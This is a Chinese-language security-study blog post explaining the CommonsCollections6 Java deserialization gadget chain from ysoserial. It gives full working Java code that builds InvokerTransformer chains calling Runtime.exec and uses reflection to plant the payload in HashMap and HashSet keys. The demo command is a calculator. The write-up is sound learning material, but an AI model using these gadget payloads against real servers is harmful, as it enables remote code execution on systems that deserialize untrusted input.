Java ysoserial学习之CommonsCollections6(三)

本文首发于微信公众号:谁不想当剑仙

本文最后更新于:2021年7月1日 晚上

争取明年有一个上千star的项目

0x00 前言

在上一篇通过 P牛和 ysoserial 项目分析了CommonsCollections1这条利用链和其中的TransformedMap、LazyMap原理。

但是在 Java 8u71以后,这个利用链不能再利用了,主要原因是 sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了。

CommonsCollections6 解决了高版本Java的利用问题,一起来学习下吧。

本文CommonsCollections6利用链的限制条件:

​ JDK版本:暂无限制、 CommonsCollections 3.1 - 3.2.1

实验环境:

​ JDK 1.8.0_261 、Commons-Collections 3.2.1

0x01 AnnotationInvocationHandler#readObject

学习 CommonsCollections6 之前,先来看看 AnnotationInvocationHandler#readObject具体改变了什么?

在 Java 8u71 之前,当 Object var6 = this.memberValues.get(var4); var4 的值为entrySet时,这时 this.memberValues 是一个LazyMap对象,里面的值也就是在上一节我们构造好的transformers的数组image-20210627131532093

只有这时才会继续执行LazyMap#get方法,进而触发transform方法,执行命令。image-20210627130306085

而在 Java 8u71 之后(本文以JDK 1.8.0_261为例),当 Object var6 = this.memberValues.get(var4); var4 的值为entrySet时,这时 this.memberValues 却是一个LinkedHashMap对象,根本不是我们构造的 LazyMap image-20210627132502384

主要就是因为在Java 8u71之前的sun.reflect.annotation.AnnotationInvocationHandler#readObject中,首先调用默认的反序列化方法defaultReadObject获取Map对象;

而 Java 8u71之后,修改了逻辑,不再直接使用反序列化得到Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去,后续对Map的操作都是基于这个新的LinkedHashMap对象。image-20210627134340813

LinkedHashMap无法获得entrySet的内容,所以当 Object var6 = this.memberValues.get(var4); var4 的值为entrySet时,会报下面这个错误,无法完成后续操作。

java.lang.annotation.Target missing element entrySetimage-20210627134652820

0x02 利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

by @matthias_kaiser
*/

可以看到后半段从LazyMap.get()到结束都和CC1一样,这里就不分析了,具体可以看上篇文章**Java ysoserial学习之CommonsCollections1(二)**。

AnnotationInvocationHandler在前面起到的作用是来触发LazyMap#get函数,所以我们接下来就是要重新找一个可以触发该函数的对象。这个对象满足

  • 类可序列化,类属性有个可控的Map对象或Object

  • 该类的类函数上有调用这个Map.get的地方

从这里可以看到解决Java高版本利用问题,实际上就是在找是否还有其他调用 LazyMap#get() 的地方。

2.1 TiedMapEntry

在 ysoserial 项目中的 CC6链 是找了TiedMapEntry类来代替AnnotationInvocationHandler的作用。

直接进入 org.apache.commons.collections.keyvalue.TiedMapEntry文件中, TiedMapEntry实现了Serializable接口,可以进行序列化操作,很好,构造方法接受一个Map,可以被我们控制,那么就可以将LazyMap对象放入,image-20210627162448731

TiedMapEntry#getValue方法中调用了map.get方法,可以执行LazyMap.get,进而执行transform方法,执行任意方法,完美。image-20210627162759746

测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class CommonCollections6 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
new ConstantTransformer(1), // 隐藏错误信息
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
//使用 LazyMap
Map outerMap = LazyMap.decorate(innerMap,transformerChain);

// 上面还是使用CC1构造的,不变, 这里创建 TiedMapEntry 测试一下
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"yhy");
tiedMapEntry.getValue();
}
}

image-20210627163526597

2.2 HashMap

下面就是找一个能自动调用 TiedMapEntry#getValue的地方了。

然后继续向上看利用链, org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() ysoserial 这里通过TiedMapEntry.hashCode()方法来调用getValue方法(然后我们也不难发现TiedMapEntry#toStringTiedMapEntry#equals方法也调用了getValue()方法,但它不是CC6的猪角,这又是两条链CC5、CC7的事了)image-20210627202424491

看到 hashCode,记忆好的应该还记得在Java ysoserial学习之URLDNS(一)中,它可是猪角,回顾一下URLDNS触发流程

  1. 将URL对象作为key放入hashMap中,将其序列化发送给目标机器
  2. 如果目标机器存在反序列化漏洞,那么会执行HashMap.readObject() 将数据反序列化
  3. 在反序列化期间,为了还原hashmap的内容,会调用 hash() 方法,而hash()函数会调用传入参数的 hashCode()方法
  4. 当URL 对象的 hashCode属性值为 -1 时会调用 handler.hashCode()方法,而这个方法会进行一次DNS查询。

重点看第三点,非常好,现在我们大概是找到了自动触发TiedMapEntry#getValue的地方了,Code一下,新建一个hashMap对象将tiedMapEntry作为key传入hashMapimage-20210627171836200

然后就会发现,确实弹出了一个计算器,我以为到这里就结束了,结果是我在想屁吃,O(∩_∩)O哈哈~

这里弹出的计算器真的是反序列化时执行的吗?只会弹一个吗?

肯定不是啊,hashMap.put(tiedMapEntry, “yhy”); put是就会弹一个啊,按理说反序列化时也会执行命令再弹出一个计算机,总共应该两个,这里只弹出一个,在 hashMap.put时下断点,然后在HashMap#readObject方法中的putVal(hash(key), key, value, false, false);也下一个断点,LazyMap#get方法也下一个,之后开启Debug模式

点击绿色箭头直接从hashMap.put跳转到LazyMap#get,然后单步调试,第一次确实执行了factory.transform触发我们自定义的方法,弹出了计算器,注意这里的map是空的image-20210627195100261

接着点击绿色箭头从ois.readObject();跳转到LazyMap#get,之后单步调试就会发现,这一次没有执行factory.transform(key),map.containsKey(key)不再为false了,这一次 map 中有了一个key,不在为空了,image-20210627195210201

里面的key正是我们放进去的TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"yhy"); ,这里说明当第一次利用hashMap.put(tiedMapEntry, "yhy");时调用到了HashMap#hash(key)

注:这里的yhy并不是key,而是value,改这个值并不会影响if的判断,第一次new TiedMapEntry(outerMap,”yhy”)的才是key

image-20210627195758963这里对后续反序列化时产生了影响,导致 map.containsKey(key) == true,不进入if判断中,无法执行transform方法执行任意方法。

解决办法是把map中的key去除,这一次确实执行了两次,可以debug验证一下,第二次确实是在反序列化阶段执行的image-20210627200400851

细心的朋友可能发现了,这里和开头写的利用链不一样,怎么就结束了,明明还有一步 java.util.HashSet.readObject()没有用到。

其实这条利用链是和P牛在代码审计知识星球-Java安全漫谈系列中简化后的CC6链是一样的,我是在看到HashCode时联想到了URLDNS那条链中的相关知识,然后又参考P牛的文章才把这条链搞懂。^_^

在P牛的代码中 https://github.com/phith0n/JavaThings/blob/master/general/src/main/java/com/govuln/deserialization/CommonsCollections6.java 有一点和上述不一样

P牛多定义了Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};,然后

Transformer transformerChain = new ChainedTransformer(fakeTransformers);加入的是多定义的fakeTransformers数组,精心构造的要执行命令的数组在remove函数前后通过反射加入了transformerChain

1
2
3
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

这样的好处是

为了避免本地调试时触发命令执行,我构造LazyMap的时候先用了一个人畜无害的 fakeTransformers 对象,等最后要生成Payload的时候,再把真正的 transformers 替换进去。

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

/**
* @author yhy
* @date 2021/6/27 11:41
* @github https://github.com/yhy0
*/
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject() 这里不同
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/

public class CommonCollections6 {
public static void main(String[] args) throws Exception {
// 人畜无害的Transformer数组
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
new ConstantTransformer(1), // 隐藏错误信息
};
//将 fakeTransformers 数组存入 ChainedTransformer 这个继承类
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

Map innerMap = new HashMap();
//使用 LazyMap
Map outerMap = LazyMap.decorate(innerMap,transformerChain);

// 上面还是使用CC1构造的,不变, 这里创建 TiedMapEntry 测试一下
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"yhy");
// tiedMapEntry.hashCode();

// // HashMap 自动触发
HashMap hashMap = new HashMap();

hashMap.put(tiedMapEntry, "yhy");

// put 后再把key去除,防止影响后续执行
outerMap.remove("yhy");

// 反射加入加入payload ,这样在put时就不会执行
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);

// 反序列化读取 out.bin 文件
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();

}
}

虽然简化后的也能达到效果,为了学习,补充知识点,我们还是再来看看省略掉的java.util.HashSet.readObject()

2.3 HashSet

HashSet#readObject中,将序列化数据反序列化后作为key调用map.put中,image-20210627203446529

这里的 map 实际上就是 HashMap ,之后的过程也和之前的一样,put –> hash –> hashCodeimage-20210627203636614

image-20210627203705755

下面就是将我们构造好的数据放入HashSet中,让其在反序列化是自动执行。这里(不只是这里,所有反序列化的地方)其实还要看一下HashSet中的序列化过程(writeObject)是否可控,这里我们只要能控制map的key,那么就能控制序列化数据 simage-20210627204340028

map ,我们可以在HashSet中看到并没有一个直接的方法可以直接赋值修改的,这就又要用到反射相关的知识了,

首先获取HashSet中map的值

1
2
3
4
5
6
7
8
9
// 指定初始容量为1
HashSet hashSet = new HashSet(1);
hashSet.add("yhy");
// 反射获取HashSet中map的值
Field map = Class.forName("java.util.HashSet").getDeclaredField("map");
// 取消访问限制检查
map.setAccessible(true);
// 获取HashSet中map的值
HashMap hashSetMap = (HashMap) map.get(hashSet);

然后修改 hashSetMap 中的 key 值为 hashset

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 反射获取 HashMap 中 table 的值
Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
// 取消访问限制检查
table.setAccessible(true);
// 获取 HashMap 中 table 的值
Object[] hashMapTable = (Object[]) table.get(hashSetMap);

Object node = hashMapTable[0];
if(node == null) {
node = hashMapTable[1];
}

// 将key 设为 tiedMapEntry
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node, tiedMapEntry);

在这里利用反射获取了 hashSetMap 中的 table 属性,table 其实就是hashmap的存储底层,将 <Key,Value> 封装在了 Node 对象中,在获取到了 table 中的 key 之后,利用反射修改其为tiedMapEntryimage-20210627212117518

合并执行image-20210627212943691

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

/**
* @author yhy
* @date 2021/6/27 20:47
* @github https://github.com/yhy0
* ysoserial
*/
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

by @matthias_kaiser
*/

public class CC6_Y {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
new ConstantTransformer(1), // 隐藏错误信息
};
//将transformers数组存入 ChainedTransformer 这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
//使用 LazyMap
Map outerMap = LazyMap.decorate(innerMap,transformerChain);

// 上面还是使用CC1构造的,不变, 这里创建 TiedMapEntry 测试一下
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"yhy");
// tiedMapEntry.hashCode();

// HashSet

// 指定初始容量为1
HashSet hashSet = new HashSet(1);
hashSet.add("yhy");
// 反射获取HashSet中map的值
Field map = Class.forName("java.util.HashSet").getDeclaredField("map");
// 取消访问限制检查
map.setAccessible(true);
// 获取HashSet中map的值
HashMap hashSetMap = (HashMap) map.get(hashSet);

// 反射获取 HashMap 中 table 的值
Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
// 取消访问限制检查
table.setAccessible(true);
// 获取 HashMap 中 table 的值
Object[] hashMapTable = (Object[]) table.get(hashSetMap);

Object node = hashMapTable[0];
if(node == null) {
node = hashMapTable[1];
}

// 将 key 设为 tiedMapEntry
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node, tiedMapEntry);

// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("outY.bin"));
oos.writeObject(hashSet);

// 反序列化读取 out.bin 文件
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("outY.bin"));
ois.readObject();
}
}

0x03 总结

其实上周是打算写CC2链的,但是上周有个项目要做,就没心情去学、去总结,有两个原因:

  1. 确实有点忙,有点累
  2. CC2链要学习新知识,有点复杂,搞得没心情学,看不下去,搞得我有点懈怠了,想休息

所以上周也就没更新,这周大概恢复好了,看文章时发现CC6比较好搞点,知识大都是学过的,串联起来就好了,这就有信心接着写了。

接下来的其他CC链,并不会按照顺序来,学到哪,就写到哪,下周应该会写CC5或者CC7,毕竟和这两篇有关联,学起来不会太吃力。

还是P牛说的不错,独立思考很重要。

学习的过程是一个思考的过程,不是追求刷题,追求刷完了ysoserial的所有Gadget的代码。我觉得这样效率是不高的。通常来说刷题获得的记忆,在一段时间不接触后就会慢慢忘掉,但自然学习思考获得的结果,是不容易失去的。

0x04 参考

天下大木头师傅的 https://www.yuque.com/tianxiadamutou/zcfd4v/ac9529#55fcdbc0

P牛知识星球-java安全漫谈


来杯奶茶